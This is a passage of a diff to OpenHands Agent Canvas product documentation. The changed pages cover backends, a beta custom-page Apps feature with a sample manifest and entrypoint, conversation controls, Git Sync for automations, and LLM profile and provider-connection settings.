`linux/amd64` | Docker platform for execution containers. | +| `OH_EXECUTION_VOLUMES` | `[]` | Optional JSON array of Docker volume specifications. | + +## Related Guides + +- [Use Docker with Agent Canvas](/openhands/usage/agent-canvas/backend-setup/docker) — run the entire Canvas distribution and backend in one container +- [Agent Canvas Architecture](/openhands/usage/agent-canvas/architecture) +- [Docker Sandbox](/sdk/guides/agent-server/docker-sandbox) — run the entire conversation through a remote Agent Server container ### Kubernetes (Helm) Source: https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/kubernetes.md @@ -29847,7 +30580,7 @@ Switch between them from the backend selector depending on what you're working o ### Modal Backend Source: https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/modal.md -Deploy [Agent Server](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-agent-server) on [Modal](https://modal.com) as a remote backend for Agent Canvas. Canvas runs locally on your machine while Agent Server runs on Modal and executes code inside the container—the same execution model as the backend started by `npx @openhands/agent-canvas`. +Deploy [OpenHands](https://github.com/OpenHands/OpenHands) on [Modal](https://modal.com) as a remote backend for Agent Canvas. Canvas runs locally on your machine while the Agent Canvas Backend runs on Modal and executes code inside the container—the same execution model as the backend started by `npx @openhands/agent-canvas`. The agent server runs with full access to the container's filesystem, environment, and network. Anyone with the API key can execute arbitrary code on your Modal container. Keep the API key secret and rotate it if it's ever exposed. @@ -30204,10 +30937,10 @@ Agent Canvas does not distinguish a remote backend by where it runs. It connects A remote backend must provide: - An accessible Agent Server URL. -- An API key when the backend requires authentication. +- An API key. - A workspace or sandbox where Agent Server can execute tools. -To use scheduled or event-driven automations, the backend must also provide Automation Server. +To use scheduled or event-driven automations, the backend must also provide an Automation Server. ## Connect To A Remote Backend @@ -30582,28 +31315,220 @@ Before exposing Agent Canvas beyond an SSH tunnel: ### Backends Source: https://docs.openhands.dev/openhands/usage/agent-canvas/backends.md -A **backend** provides Agent Server and, when automations are enabled, Automation Server. Agent Server runs conversations and tools in a workspace: the folder, mounted project directory, container, or cloud sandbox where the agent reads and writes files. Automation Server manages schedules, events, and run lifecycle. Agent Canvas connects to these services and displays the state of whichever backend is selected. +A **backend** provides [Agent Server](/sdk/guides/agent-server/overview#what-is-a-remote-agent-server) and, when automations are enabled, Automation Server. Agent Server runs conversations and tools in a workspace: the folder, mounted project directory, container, or cloud sandbox where the agent reads and writes files. Automation Server manages schedules, events, and run lifecycle. Agent Canvas connects to these services and displays the state of whichever backend is selected. ## Connecting to a Backend Any Agent Canvas frontend can connect to any Agent Canvas backend. Use the backend switcher in the UI to open **Manage Backends**, where you can add, edit, or remove entries. Each entry stores a display name, host URL, and an API key for authentication. +![Agent Canvas Add Backend dialog on the Agent Server tab with synthetic display name, host URL, and masked API key fields.](/openhands/static/img/agent-canvas-add-backend-agent-server.png) + Settings, LLM configuration, MCP servers, and automations are all scoped to the active backend — switching backends switches all of these. +"Remote" describes how Canvas connects to a backend, not where that backend runs. A remote backend can be a separate process on the same machine, a self-hosted deployment on a VM or container platform, or a managed Cloud or Enterprise service. + ## Recommended Setups | Setup | When to use | How | |-------|-------------|-----| | **Default local** | Quick local work on your machine | Run `agent-canvas`—a local backend is created automatically. | -| **Remote Agent Server** | An Agent Server on another machine or in a separate local container | Add its host URL and API key in `Manage Backends`. See [Remote Backend](/openhands/usage/agent-canvas/backend-setup/remote). | -| **Self-hosted VM** | Always-on server, more powerful hardware, team-shared access, or a full self-hosted Canvas | Run `agent-canvas --backend-only --public` for backend-only mode, or `agent-canvas --public` for the full UI and backend. See [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm). | +| **Self-hosted backend** | A separate local process or container, an always-on VM, more powerful hardware, or team-shared access | Deploy the backend services, then add their host URL and API key in `Manage Backends`. See [Remote Backend](/openhands/usage/agent-canvas/backend-setup/remote) and [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm). | | **Cloud or Enterprise** | Managed backend and sandbox infrastructure | Connect from `Manage Backends`. See [Cloud Backend](/openhands/usage/agent-canvas/backend-setup/cloud). | +### Apps (Beta) +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/canvas-extensions.md + +Apps let you add custom pages to Agent Canvas without changing the Agent Canvas source code. An app can provide an integrated dashboard, project tool, or other browser interface that connects to the active Agent Server. + + + Apps are a beta feature. The name and app API may change as the feature develops. + + +## What Apps Add + +The initial beta supports **custom pages**. When you enable an app, its pages appear in the Agent Canvas sidebar and open inside the application. + +An app page can: + +- Render a browser-based interface inside Agent Canvas +- Add nested routes below its declared page path +- Navigate to other Agent Canvas pages +- Make authenticated HTTP requests to the active Agent Server +- Read metadata about the app and active backend + +The current beta does not support conversation tabs, arbitrary interface slots, themes, visualizer replacement, or direct Agent Server WebSocket connections. + +Apps change the Agent Canvas interface. They are different from [skills](/overview/skills), which give agents instructions and knowledge, and [plugins](/openhands/usage/agent-canvas/plugins), which package agent capabilities and configuration. + +## Availability + +Apps are managed by the active Agent Server and are currently available with supported local backends. They are not available when an OpenHands Cloud backend is active. + +Each backend has its own installed apps, files, versions, and enabled states. Switching backends replaces the apps shown in Agent Canvas. + +If `Customize > Apps` reports that the feature is unavailable, update the Agent Server connected to Agent Canvas. A backend without the Canvas Extensions API cannot install or run apps. + +## Install an App + +Open `Customize > Apps`, then select `Add app`. + + + + 1. Enter the Git source, such as `github:owner/repository`. + 2. Optionally enter a branch, tag, or commit in `Ref`. + 3. If the app is not at the repository root, enter its directory in `Repo path`. + 4. Select `Add app`. + + + 1. Enter the absolute path to the app directory. + 2. Select `Add app`. + + The path is resolved on the Agent Server machine. A path on the computer running your browser will not work unless that computer also runs the Agent Server and exposes the same path. + + + +One Add app operation installs one app package. If a repository contains several apps, add each manifest directory separately with its own `Repo path`. + +New apps are installed **disabled**. Review the source, resolved revision, manifest details, and contributed pages before enabling one. + +## Enable and Manage Apps + +To run an installed app: + +1. Open `Customize > Apps`. +2. Find the installed app and enable it. +3. Review and accept the trusted-code notice. +4. Open its new item in the Agent Canvas sidebar. + +You can disable an app without restarting Agent Canvas. Its navigation items and mounted pages are removed immediately. Re-enable it to load the app again, or uninstall it to remove the installation from the active backend. + +### Trust Model + +Enabling an app runs its JavaScript in the same browser context as Agent Canvas. The beta does not isolate apps in an iframe or worker and does not enforce fine-grained permissions. + +Only enable apps whose code and resolved revision you trust. An enabled app has the browser authority available to Agent Canvas and can use an authenticated helper to call the active Agent Server. + +## Build an App + +An app is a directory containing: + +- `canvas-extension.json` at the app root +- One self-contained browser ESM entrypoint inside that root +- Any source files or build configuration needed to produce the entrypoint + +The current package format uses manifest schema `1` and host API `1`. + +### Create the Manifest + +```json canvas-extension.json +{ + "schema_version": 1, + "name": "example-dashboard", + "display_name": "Example dashboard", + "version": "0.1.0", + "description": "A project dashboard for Agent Canvas.", + "entrypoint": "extension.js", + "contributes": { + "pages": [ + { + "id": "dashboard", + "title": "Dashboard", + "path": "/dashboard", + "nav_label": "Dashboard" + } + ] + } +} +``` + +Use lowercase letters, numbers, and hyphens for app names and page IDs. Page paths must start with `/`, and every page ID and path must be unique within the app. + +The `entrypoint` must stay inside the app root. Bundle dependencies, CSS, and required assets into one browser ESM file; unresolved package imports and external runtime chunks cannot be loaded. + +### Register the Page + +Export an `activate` function from the entrypoint and register each page declared in the manifest: + +```js extension.js +export function activate(host) { + if (host.apiVersion !== "1") { + throw new Error("This extension requires host API 1."); + } + + return host.registerPage("dashboard", ({ container, path }) => { + const page = document.createElement("section"); + page.setAttribute("aria-label", "Example dashboard"); + page.textContent = path ? `Dashboard route: ${path}` : "Dashboard"; + container.append(page); + + return () => page.remove(); + }); +} +``` + +The page ID passed to `registerPage` must match a page declared in `canvas-extension.json`. Return cleanup functions for registered pages, DOM nodes, timers, listeners, and other effects so the app can be disabled or reloaded safely. + +Agent Canvas mounts this example at: + +```text +/extensions/example-dashboard/dashboard +``` + +For a nested URL such as `/extensions/example-dashboard/dashboard/services`, the page receives `services` as its relative `path`. + +### Connect to the Agent Server + +Use `host.agentServer.request` for authenticated requests to the backend that owns the app: + +```js +const serverInfo = await host.agentServer.request({ + method: "GET", + path: "/server_info", +}); +``` + +Request paths must be root-relative, begin with exactly one `/`, and must not be full URLs. Do not derive backend URLs or authentication credentials from Agent Canvas internals. + +The beta host API does not expose the backend origin or a WebSocket authentication capability. Use the authenticated HTTP helper, polling where appropriate, or a backend-owned bridge instead of opening a direct Agent Server WebSocket. + +## Design for the Beta Lifecycle + +Agent Canvas may activate, mount, and dispose an app repeatedly when you enable or disable it, update it, reconnect, or switch backends. App pages should: + +- Render only inside the supplied page container +- Scope styles to an app-specific root element +- Clean up all DOM nodes, styles, timers, listeners, observers, and subscriptions +- Prevent late asynchronous responses from updating an unmounted page +- Handle loading, empty, malformed-response, and error states +- Remain keyboard accessible and usable on narrow screens + +## Learn More + +- [Canvas Extensions API specification](https://github.com/OpenHands/OpenHands/blob/main/specs/canvas-extensions.md) +- [Minimal app fixture](https://github.com/OpenHands/OpenHands/tree/main/src/fixtures/canvas-extensions/demo-page) +- [Customize and Settings](/openhands/usage/agent-canvas/customize-and-settings) + ### Conversations Source: https://docs.openhands.dev/openhands/usage/agent-canvas/conversations.md A conversation is a single agent session on the active backend. It has its own message history, tool calls, file changes, selected agent profile, and conversation-specific plugins. +## Child Conversations + +When an agent uses `launch_child_conversation`, Agent Canvas can launch a child conversation on a local or Cloud target. Local children can use either an isolated worktree or the parent's shared workspace. Cloud children use the repository and branch selected for the launch. + +The child remains linked to its parent, and its result is returned to the parent conversation. Agent Canvas validates the launch inputs before creating the child conversation. + +## Conversation List Controls + +Use the conversation list controls to manage automation runs and visible tags: + +- Choose `All`, `Hide`, or `Only` to include, exclude, or show only automation-run conversations. You can further select individual automation names, including unnamed automations. +- Pinned conversations remain visible when automation-run filtering would otherwise hide them. +- Enable the `Tags` preference to show conversation tag chips. Tags are off by default; when there are more tags than fit, Agent Canvas shows a `+N` chip with the remaining count. + +Agent Canvas omits reserved tags and raw automation IDs from the chips. LLM metadata is also hidden by default. + ## Follow Agent Activity While an agent is running, the composer shows a live activity chip for its current unresolved action, such as reading a file or running a command. If no action-specific label is available, it shows `Thinking`. The chip disappears when the agent pauses or completes its work. @@ -30612,6 +31537,49 @@ While an agent is running, the composer shows a live activity chip for its curre If a message fails to send, select `Retry` to send it again or `Dismiss` to remove the failed message bubble. Dismissing a message does not restore its text to the composer. +## Inline Markdown Artifact Previews + +When an agent creates a Markdown file, Agent Canvas renders it inline as a height-limited rich preview with an internal scrollbar instead of showing only the raw file content. Select `View` to open the full file in the Files drawer. + +## Image Attachments + +When you upload an image as part of a message or an image is produced in a conversation, Agent Canvas displays it as a thumbnail. Click the thumbnail to open the image full size in a lightbox overlay. Dismiss the lightbox by pressing Escape, clicking the close button, or clicking the backdrop. + +## Conversation Overview Panel + +The conversation overview panel displays project context for the active conversation, including workspace information, git state, and loaded resources such as skills, MCP servers, and automations. + +Toggle the overview using the info control in the conversation header. The panel peeks beside the chat area and closes when you open the Files drawer. + +### Unified Commits Drawer + +From the overview panel, open the **Commits** drawer to see a unified view of git activity: + +- The commit list shows recent commits alongside any uncommitted changes +- A header git-actions control lets you send commit, pull, push, and pull-request prompts to the agent + +The Commits tab combines the commit history with uncommitted changes in a single view, so you no longer need to switch between separate Diff and Commits surfaces. + +### Files View + +The **Files** tab is a focused file browser with open-file tabs and close controls. The file tree is resizable and persists its state across refreshes. + +Above the file tree, the active workspace path is displayed with a copy button. Hover the truncated path to see the full value in a tooltip, then click to copy it. + + + The workspace path row is hidden when the conversation has no working directory. + + +## Context Window Usage and Manual Compaction + +Agent Canvas shows a context-window meter in the composer that visualizes how much of the model's available context is in use. The meter fills as the conversation grows. + +Click the meter to open the usage preview, then click "Usage" to see the full usage panel which shows token usage and provider balance details. You can manually compact the conversation to reduce context by selecting "Compact context" in the usage preview or usage panel. + + + The meter only appears for models that report a context window size. Models that do not report one will not show a meter. + + ## Branch From a Message Use `Branch from here` on a message when you want to explore a different path without changing the original conversation. @@ -30726,6 +31694,29 @@ The export is generated locally in your browser from the events Agent Canvas alr For very large conversations, Agent Canvas loads the full event history before generating the file. This may take a moment. On cloud backends, the export uses the events the app currently has loaded.
+## Archive a Conversation + +Archiving a conversation hides it from the sidebar list without deleting it. The conversation's full history stays on the backend, and you can unarchive it at any time. + +**To archive a conversation:** + +1. Open the conversation card menu in the sidebar. +2. Select `Archive`. +3. Confirm in the dialog that appears. + +The conversation disappears from the default sidebar list. An archived conversation shows an `Archived` chip when revealed. + +**To view or restore archived conversations:** + +1. Open the panel filter menu in the sidebar. +2. Enable `Show archived`. +3. Archived conversations reappear with an `Archived` chip. +4. Open an archived conversation's menu and select `Unarchive` to restore it to the default list. + + + Archive state is stored per backend in your browser's local storage. It does not sync across browsers or machines. The `Delete all` action still deletes archived conversations, including hidden ones. Archiving is non-destructive, but deleting is permanent. + + ## Related Guides - [Fork a Conversation](/sdk/guides/convo-fork) @@ -30877,11 +31868,12 @@ Agent Canvas separates **Customize** from **Settings**. Open the top-level `Customize` area to manage: -- [Skills](/overview/skills) - [MCP Servers](/openhands/usage/settings/mcp-settings) +- [Skills](/overview/skills) - [Plugins](/openhands/usage/agent-canvas/plugins) +- [Apps (Beta)](/openhands/usage/agent-canvas/canvas-extensions) -Use the section navigation inside `Customize` to switch between these pages. +Use the section navigation inside `Customize` to switch between these pages. Apps add trusted custom pages to Agent Canvas, while skills and plugins change agent behavior. MCP Server configuration lives under `Customize > MCP Servers`, not under `Settings`. @@ -30915,15 +31907,16 @@ The `Settings` area currently includes the following sections: | Section | Purpose | |---------|---------| | `Agent` | Agent Profile library and agent-specific capabilities | -| `LLM` | Provider, model, API key, and profile configuration | +| `LLM` | Provider, model, API key, profile configuration, and provider connections | | `Condenser` | Context compression and summarization behavior | | `Verification` | Approval, critic evaluation, and verification-related behavior | | `Application` | UI-level preferences and app behavior | | `Secrets` | Stored secrets used by the active backend | -On local backends, the `LLM` page also includes an `Available Profiles` area for saved profiles. -In `Settings > Application`, the **Conversation titles** setting selects the LLM profile used to generate conversation titles. **Automatic** uses the active local LLM profile; you can choose another saved profile, like a small, cheap LLM, when you want titles generated independently from the model selected for agent work. The same page shows the installed Agent Canvas version, update availability, and a **Check for updates** button. +In `Settings > Application`, the **Conversation titles** setting selects the LLM profile used to generate conversation titles. **Automatic** uses the active local LLM profile; you can choose another saved profile, like a small, cheap LLM, when you want titles generated independently from the model selected for agent work. + +The main settings nav also shows the installed version of Agent Canvas with a manual **Check for updates** button. When an update is available click on the tile to view details and update information. Use `Settings > Agent` to choose the active Agent Profile for new conversations. OpenHands profiles reference LLM profiles from `Settings > LLM`; ACP profiles use the external agent's own model configuration. @@ -31032,6 +32025,8 @@ Available options: The setup screen defaults to `OpenHands` as the provider and pre-selects a recommended model. Switch the `LLM Provider` dropdown to choose a different provider. +The default model is **OpenAI GPT-5.6 Sol**, and **DeepSeek V4 Flash** is the free OpenHands-routed model. When adding an OpenHands provider connection, the provider field is a searchable supported-provider selector rather than free text. + For OpenHands Agent Profiles, this LLM setup becomes the model profile the agent uses. ACP agents such as Claude Code, Codex, and Gemini CLI use their own authentication and model configuration. ## Step 4: Start From a Proven Workflow @@ -31051,12 +32046,152 @@ Other available templates include: You can browse all pre-built automations from the `Automate` view at any time. See [Pre-built Automations](/openhands/usage/agent-canvas/prebuilt-automations) for the full list. +## Getting Started Checklist + +After completing the setup wizard, a **Getting Started** checklist appears in the sidebar. It guides you through the core first actions: + +1. **Set up your LLM** — links to `Settings > LLM` +2. **Connect MCP servers** — links to `Customize > MCP` +3. **Start a conversation** — links to `Conversations` +4. **Explore automations** — links to `Automate` +5. **Customize your agent** — links to `Customize` +6. **Review settings** — links to `Settings` + +Each item links directly to the relevant page. The checklist tracks your progress and minimizes to stay out of the way. When all items are complete, the checklist auto-hides. + + + Toggle the checklist from `Settings > Application` using the **Show getting started checklist** switch. The setting persists across sessions. + + +## Customize your Agent Canvas + +When you are ready to go beyond the default setup, choose the mechanism that fits the task: + +- Add repository-wide guidance with [`AGENTS.md`](/overview/skills/repo) for each Workspace. +- Add reusable task instructions with [Skills](/overview/skills). +- Connect external tools through [MCP](/openhands/usage/settings/mcp-settings). +- Add packaged capabilities with [Plugins](/openhands/usage/agent-canvas/plugins). +- Automate repeated work with [Automations](/openhands/usage/agent-canvas/managing-automations). + ## After Your First Session Keep the terminal or Docker container that runs Agent Canvas active while you use the browser. When you are done, [stop Agent Canvas](/openhands/usage/agent-canvas/setup#stop-agent-canvas). Start it again with the same command when you return. For routine maintenance, see [update and uninstall](/openhands/usage/agent-canvas/setup#update-agent-canvas). If the UI, backend, or model does not work as expected, start with [Troubleshooting](/openhands/usage/agent-canvas/troubleshooting). +### Sync Automations with Git +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/git-sync.md + +Git Sync keeps the automations on an Agent Canvas backend synchronized with a Git repository. It gives you version history, an off-host backup, and a reviewable workflow for changing automations through pull requests. + + + Automation definitions can contain prompts, repository names, scripts, and other sensitive configuration. Use a private repository unless you are certain every synchronized file is safe to publish. + + +## How Git Sync Works + +Each sync cycle pulls the configured branch, imports changes from Git into the Automation Server, exports local automation changes, and pushes a commit when the synchronized files changed. + +By default, each automation is stored in its own directory under the configured path: + +```text +automations/ +└── daily-code-review/ + ├── automation.yaml + └── tarball/ + └── ... +``` + +The `automation.yaml` file stores the automation configuration. Files from an uploaded automation bundle are expanded under `tarball/` so Git can show meaningful diffs. + + + Git Sync is bidirectional. A change made in Agent Canvas is exported to Git, while a change merged into the synchronized branch is imported into Agent Canvas during the next cycle. If the same automation has pending local changes, the local version takes precedence for that cycle. + + +## Requirements + +Before configuring Git Sync, make sure you have: + +- A healthy Agent Canvas backend with a version of Automation Server that supports Git Sync +- Permission to manage automations on that backend +- A Git repository and branch dedicated to the synchronized automation files +- An HTTPS access token with read and write access when the repository is private + +Git Sync is not available for cloud backends. If the page reports that the backend does not support Git Sync, [update Agent Canvas](/openhands/usage/agent-canvas/setup#update-agent-canvas) and restart it. + +## Configure Git Sync + +1. Open the `Automate` view in Agent Canvas. +2. Select `Git Sync` near the top of the automation list. +3. Configure the repository: + - `Repository URL`: The HTTPS clone URL, such as `https://github.com/example/automation-backup.git`. + - `Branch`: The branch Git Sync pulls from and pushes to. The default is `main`. Git Sync creates the branch during the first cycle if it does not exist. + - `Path`: The repository-relative directory that holds automation files. The default is `automations`. + - `Access token`: Required for private repositories. The token needs permission to read and push repository contents. +4. Set `Sync every (seconds)`: + - Enter `0` to sync only when you select `Sync now`. + - Enter a positive number to run automatic sync cycles at that interval. +5. Optionally set the commit author name and email. Leave these fields blank to use the backend defaults. +6. Optionally enter an encryption key. See [Encrypt Synchronized Files](#encrypt-synchronized-files) before enabling this option. +7. Turn on `Enable Git Sync`. +8. Select `Save and sync now`. + +Before saving a changed repository URL, branch, or token, Agent Canvas checks whether it can reach the repository. This check does not verify push permission, so the first sync can still fail if the token is read-only. If the check cannot reach the repository, correct the settings or select the save action again to store them anyway. + +After the cycle completes, the **Sync Status** section shows the latest commit, last sync time, pending local changes, and any error returned by Git. + +## Encrypt Synchronized Files + +An encryption key encrypts each automation file before it is committed. The repository then contains ciphertext instead of readable YAML and script content. + + + Store the encryption key in a password manager or another secure location. Agent Canvas cannot read or restore encrypted automation files without the same key. + + +Encryption protects the contents stored in Git, but it also prevents normal code review and meaningful diffs. Use it when repository-level access controls are not sufficient for the sensitivity of your automation definitions. + +The access token and encryption key entered in Agent Canvas are encrypted before the Automation Server stores them. Leaving either secret field blank keeps its current value. Use the corresponding clear option when you intend to remove a stored secret. + +## Edit Automations Through Git + +Use a pull request when you want to review automation changes before Agent Canvas imports them: + +1. Create a branch from the synchronized branch. +2. Edit the automation's `automation.yaml` or files under `tarball/`. +3. Open and review a pull request. +4. Merge the pull request into the synchronized branch. +5. Wait for the next automatic cycle or select `Sync now`. +6. Open the automation in Agent Canvas and confirm the imported configuration before running it. + +Git Sync validates imported automation fields. It skips an invalid automation directory and reports the problem in Automation Server logs rather than applying a partial configuration. + + + If file encryption is enabled, edit automations in Agent Canvas instead. Encrypted repository files are not directly editable or reviewable. + + +## Pause or Run Sync Manually + +Turn off `Enable Git Sync` and save to pause synchronization without deleting the repository configuration. Turn it on again to resume. + +Select `Sync now` to start a cycle immediately. The request schedules the cycle in the background, and the activity row follows it until it succeeds or fails. If another cycle is already running, Agent Canvas follows that cycle instead of starting a duplicate. + +## Troubleshooting + +| Problem | What to Check | +|---------|---------------| +| Git Sync is not available | Confirm the active backend is local, healthy, and running a current Automation Server version. | +| Repository check fails | Confirm the HTTPS URL, branch name, network access, and token. Select save again only if you intentionally want to keep settings that the check cannot verify. | +| Repository check passes but push fails | Give the access token write permission for repository contents and confirm branch protection permits the configured workflow. | +| Sync reports a non-fast-forward or divergence error | Update the synchronized branch through reviewed pull requests and avoid another process writing directly to it while Agent Canvas has an unpushed commit. | +| Encrypted files cannot be imported | Restore the exact encryption key used to write them. A different or missing key cannot decrypt the repository contents. | +| Changes do not sync automatically | Confirm Git Sync is enabled and `Sync every (seconds)` is greater than `0`, or use `Sync now`. | + +## Related Guides + +- [Manage Automations](/openhands/usage/agent-canvas/managing-automations) +- [Install Agent Canvas](/openhands/usage/agent-canvas/setup) +- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) + ### Manage LLM Profiles Source: https://docs.openhands.dev/openhands/usage/agent-canvas/llm-profiles.md @@ -31068,6 +32203,8 @@ LLM profiles can also generate conversation titles. In `Settings > Application > Open `Settings > LLM` to add a reusable LLM profile. Use the **Basic** tab for a provider and model available in the dropdowns. Use the **Advanced** tab when you need to enter a model name and base URL directly. Use the **All** tab to view and customize the full set of model configuration fields. +If you are deciding between a provider key, local endpoint, LiteLLM proxy, OpenRouter, or ACP agent, start with [Configure a Model](/openhands/usage/agent-canvas/model-configuration). + ACP agents such as Claude Code, Codex, and Gemini CLI manage their own model access. See [ACP Agents](/openhands/usage/agent-canvas/acp-agents) instead. @@ -31076,14 +32213,14 @@ ACP agents such as Claude Code, Codex, and Gemini CLI manage their own model acc | I have | Profile tab | Configure | |---|---|---| -| An API key from Anthropic, OpenAI, Google, or another provider | **Basic** | Select the provider and model, then add its API key. | -| An OpenHands LLM API key | **Basic** | Select `OpenHands`, choose a model, and add your OpenHands LLM API key. | -| A local OpenAI-compatible server | **Advanced** | Enter the provider, exact model ID, base URL, and any required API key. | -| A LiteLLM proxy | **Advanced** | Use the `litellm_proxy/` model prefix, proxy base URL, and proxy API key. | +| An API key from Anthropic, OpenAI, Google, or another provider | **Basic** | Select the provider and model, then add its API key or reuse a Provider Connection. | +| An OpenHands LLM API key | **Basic** | Select `OpenHands`, choose a model, then add the key or reuse a Provider Connection. | +| A local OpenAI-compatible server | **Advanced** | Enter the provider and exact model ID, then add its base URL/key or reuse a Provider Connection. | +| A LiteLLM proxy | **Advanced** | Use the `litellm_proxy/` model prefix, then add its proxy URL/key or reuse a Provider Connection. | ### Direct Provider -In the **Basic** tab, select your provider and model, add the API key issued by that provider, and save the profile. Use a new conversation to test the change; an existing conversation continues with the agent and model it started with. +In the **Basic** tab, select your provider and model. Select a **Provider Connection** to reuse its API key, or add an API key directly when it belongs only to this profile. Save the profile, then use a new conversation to test the change; an existing conversation continues with the agent and model it started with. For provider and model recommendations, see [LLM Configuration](/openhands/usage/llms/llms). @@ -31095,8 +32232,20 @@ Use an OpenHands LLM API key when you want Agent Canvas to access models through 2. In the **Basic** tab, select `OpenHands`, choose a model, and add the key. 3. Save the profile and start a new conversation. +While using OpenHands as your LLM provider you will see OpenHands-routed model IDs marked as `Free`. These models change as we have promotional periods where we can offer them without any additional token cost. Currently **DeepSeek V4 Flash** is the free OpenHands-routed model. + +The `Free` label applies only to those full `openhands/` routes. Endpoints from other providers with similar model names may have separate billing. The label remains visible after you select one of these models. + +When you create a local LLM profile, the form initially selects **OpenAI GPT-5.6 Sol** (the default model) and derives the profile name from it. You can change either value before saving. + For key details and available models, see [OpenHands LLM Provider](/openhands/usage/llms/openhands-llms). +### Pre-Save Validation + +When you save an LLM profile, the configuration is validated against the backend before it is persisted. If validation fails — for example, because the API key is rejected or the model is unavailable — the save is blocked and the backend error is shown. The save button displays a validating state while the check runs. + +Older backends that do not support validation (they return a `404` for the validation endpoint) skip this check and save normally. + ### Local OpenAI-Compatible Endpoint A local server can be LM Studio, Ollama, vLLM, SGLang, or another service that exposes an OpenAI-compatible API. In the **Advanced** tab, enter the provider, exact model ID, endpoint base URL, and the required API key or a placeholder value when the server does not require one. @@ -31117,6 +32266,32 @@ In the **Advanced** tab, use the model name format `litellm_proxy/`, See [LiteLLM Proxy](/openhands/usage/llms/litellm-proxy) for the complete configuration. +## Provider Connections + + + Provider Connections are available on **local agent-server backends only**. The panel is hidden when using an OpenHands Cloud backend. + + +When you want multiple LLM profiles to share the same provider credentials, use **Provider Connections** to store a provider, API key, and optional base URL once and reference it across profiles. This avoids pasting the same key into every profile and lets you rotate credentials in one place. Linked profiles keep their own model selection while using the shared connection for credentials. + +### Create a Provider Connection + +1. Open `Settings > LLM`. +2. In the **Provider Connections** panel, add a new connection. +3. Enter a name, then select a provider from the searchable supported-provider selector, and add the API key and an optional base URL. + +The provider field in the **create** connection flow is a searchable selector backed by the supported-provider catalog. You must select a supported provider before the connection can be saved. Existing connections retain free-text editing, so legacy or custom provider identifiers remain maintainable. + +### Link a Profile to a Provider Connection + +When you add or edit an LLM profile, choose a saved connection in the **Provider Connection** selector. Select **None** to use credentials specific to that profile instead. When a profile is linked, its inline API key and base URL fields are hidden — the profile uses the connection's credentials instead. + +Linked profiles are grouped under their Provider Connection name in the profile list for readability. To use another model with the same API key, add another LLM profile, select the same connection, choose that model, and save. + +### Update or Delete a Connection + +Edit a Provider Connection to rename it, rotate its API key, or change its base URL. The update applies to every linked profile. Before deleting a connection, re-link or change every profile that uses it; Agent Canvas prevents deleting a connection while profiles still reference it. + ## Working with LLM Profiles LLM profiles are useful when you want different model setups for different tasks, such as: @@ -31131,6 +32306,8 @@ LLM profiles are separate from [Agent Profiles](/openhands/usage/agent-canvas/ag The available profiles list shows each profile's name, configured model, and whether it is active. Use a profile's menu to edit or rename it, set it as the active profile for new conversations, or delete it when you no longer need it. +![Agent Canvas LLM settings showing two synthetic saved profiles, one marked as the default, with its profile actions menu open.](/openhands/static/img/agent-canvas-llm-profiles-manager.png) + ## Switching Profiles in a Conversation You can switch profiles from the profile selector in the chat input or with the `/model` command: @@ -31183,7 +32360,7 @@ The **Automate** view in Agent Canvas is the in-app control center for your auto ## Browse and inspect automations -Open the **Automate** tab in the sidebar to see all automations on the active backend. Each row shows the automation name, trigger type, and enabled state. +Open the **Automate** tab in the sidebar to see all automations on the active backend. Each row shows the automation name, trigger type, and enabled state. When the active backend is healthy but has no automations, the Automate pane remains available and includes an option to add one. Click an automation to open its detail view. The detail view shows: @@ -31196,10 +32373,33 @@ Click an automation to open its detail view. The detail view shows: A run can be `PENDING`, `RUNNING`, `COMPLETED`, `FAILED`, `CANCELLED`, or `SKIPPED`. A `SKIPPED` run can occur when the backend reaches its concurrency limit. Future backend statuses appear as a neutral status badge so they do not prevent you from viewing the automation. +### Run Phase + +Automation runs surface a live **phase** that reflects a run's current state: `PENDING`, `RUNNING`, or `FAILED`. The phase appears on automation cards, in the Activity Log, and on the home screen, and updates live as a run progresses. A failed run retains its last phase after it stops. + +### Activity Log Costs and Exports + +The Activity Log displays a completed run's reported LLM cost in USD to four decimal places. A measured zero cost appears as `$0.0000`; when the backend does not report a cost, no cost appears in the log. + +Use the Activity Log export controls to download run data as CSV or JSON. Both formats include a raw numeric `cost` field for every run, as well as the run's `phase`. An unavailable cost is exported as `null`. + ## Enable and disable automations Toggle an automation on or off from the kebab menu (⋮) on the automation row, or from the detail view. Disabled automations do not fire on their scheduled trigger or in response to events, but their configuration is preserved. +### Disablement reasons + +When an automation is disabled, the detail page shows a banner with a human-readable disablement reason, structured detail, and a timestamp. This helps you understand why an automation stopped running. Common reasons include: + +- **Manually disabled** — A user turned the automation off from the kebab menu or detail view. +- **Permanent dispatch failure** — The automation backend reported a permanent failure that prevented the automation from running. + +The banner displays the reason, any additional structured detail provided by the backend, and the time the disablement occurred. To re-enable an automation, use the toggle in the kebab menu or detail view (cloud backends require manage permissions or that you are the automation's creator). + +## Edit an automation + +You can edit an automation's name, prompt, model, timeout, and schedule directly in Agent Canvas. On cloud backends, editing requires manage permissions or being the automation's creator. + ## Run an automation manually Select **Run now** from the automation's kebab menu to trigger an immediate run outside the normal schedule. Useful for testing or for one-off executions. @@ -31256,12 +32456,16 @@ You can import an automation from a JSON file previously exported by Agent Canva 2. Click **Import automation** at the top of the list. 3. Pick the `.json` file to import. 4. Review the preview — it shows the automation's name, trigger type, and prompt. + +![Agent Canvas import automation dialog previewing the Weekly Documentation Review name, schedule, and prompt before import](/openhands/static/img/agent-canvas-automation-import-preview.png) + 5. Confirm to create the automation. Imported automations are created **disabled**. After importing, open the automation from the list, review its configuration, and enable it when ready. ## Related guides +- [Sync automations with Git](/openhands/usage/agent-canvas/git-sync) - [Creating automations](/openhands/usage/automations/creating-automations) - [Managing automations (CLI-style)](/openhands/usage/automations/managing-automations) - [Pre-built automations](/openhands/usage/agent-canvas/prebuilt-automations) @@ -31318,6 +32522,105 @@ Open the ngrok forwarding URL in your phone or tablet browser. ngrok also supports OAuth, IP allowlists, and other access controls for additional protection. +### Configure a Model +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/model-configuration.md + +Use this guide to choose a model configuration path in Agent Canvas. Start with the credentials or endpoint you have, then save the profile and test it in a new conversation. + + +ACP agents such as Claude Code, Codex, and Gemini CLI manage their own model access. Use [ACP Agents](/openhands/usage/agent-canvas/acp-agents) instead of 